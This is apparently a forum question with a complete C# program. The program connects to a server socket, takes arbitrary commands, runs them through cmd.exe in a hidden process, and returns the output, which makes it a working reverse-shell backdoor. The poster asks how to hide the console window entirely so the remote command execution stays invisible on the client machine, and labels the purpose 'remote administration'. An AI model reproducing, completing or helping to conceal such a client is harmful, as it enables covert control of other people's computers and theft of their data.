Hi im new in c# and i'm trying to build a client program that get commands from server and execute them with CMD.
in the project properties i change the "output type" from "console application" to "windows application" because i want to hide the client console window.
everything working great but i have one problem, everytime that the server send command to the client, the client's console window pop up for a sec and then send the output to my server. How i hide the console window permanently?
My Code:
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Net;
using System.Net.Sockets;
using System.Diagnostics;
namespace Client
{
class Program
{
static void Main(string[] args)
{
Socket sck = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
IPEndPoint endPoint = new IPEndPoint(IPAddress.Parse("127.0.0.1"), 8000);
sck.Connect(endPoint);
while (true)
{
string shell = "$: ";
byte[] shellbuf = Encoding.Default.GetBytes(shell);
sck.Send(shellbuf, 0, shellbuf.Length, 0);
byte[] buffer = new byte[255]; // buffer for recieved command
int rec = sck.Receive(buffer, 0, buffer.Length, 0); // receving
Array.Resize(ref buffer, rec);
string command;
command = Encoding.Default.GetString(buffer); // recieved command from bytes to string
if (command == "quit\n") // quit and close socket
{
sck.Close();
break;
}
// execute command
Process p = new Process();
p.StartInfo.WindowStyle = System.Diagnostics.ProcessWindowStyle.Hidden;
p.StartInfo.FileName = "cmd.exe";
p.StartInfo.Arguments = "/C " + command ;
p.StartInfo.RedirectStandardOutput = true;
p.StartInfo.RedirectStandardError = true;
p.StartInfo.UseShellExecute = false;
p.Start();
string output = p.StandardOutput.ReadToEnd();
string error = p.StandardError.ReadToEnd();
// sending command output
byte[] outputbuf = Encoding.Default.GetBytes(output);
byte[] errorbuf = Encoding.Default.GetBytes(error);
sck.Send(outputbuf, 0, outputbuf.Length, 0);
sck.Send(errorbuf, 0, errorbuf.Length, 0);
}
}
}
}
the program purpose is for remote administration. thank you.
